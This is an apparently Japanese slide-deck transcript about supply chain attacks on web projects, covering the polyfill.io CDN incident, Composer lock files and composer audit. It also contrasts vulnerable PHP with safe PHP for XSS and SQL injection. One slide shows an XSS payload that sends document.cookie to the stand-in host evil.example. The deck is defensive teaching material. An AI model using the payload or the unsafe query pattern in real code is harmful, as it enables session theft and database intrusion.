サプライチェーン攻撃とWebエンジニアの日常

最近はやっているサプライチェーン攻撃について振り返りと注意喚起を

Transcript

15. <script src="//cdn.polyfill.io/...">
16. laravel-lang/http-statuses actions attributes helpers.php autoload.files
17. $ composer update # # composer.lock composer.lock
20. <?php // echo " " . $_GET['name'] . " "; // echo " " . htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8') . " "; ?name=<script>fetch('//evil.example/'+document.cookie) </script>
21. @csrf SameSite=Lax Strict
22. <?php // ( ) $sql = "SELECT * FROM users WHERE id = " . $_GET['id']; // ( ) $stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id"); $stmt->execute([':id' => $_GET['id']]);
24. composer.lock composer audit roave/security-advisories
26. composer.lock composer audit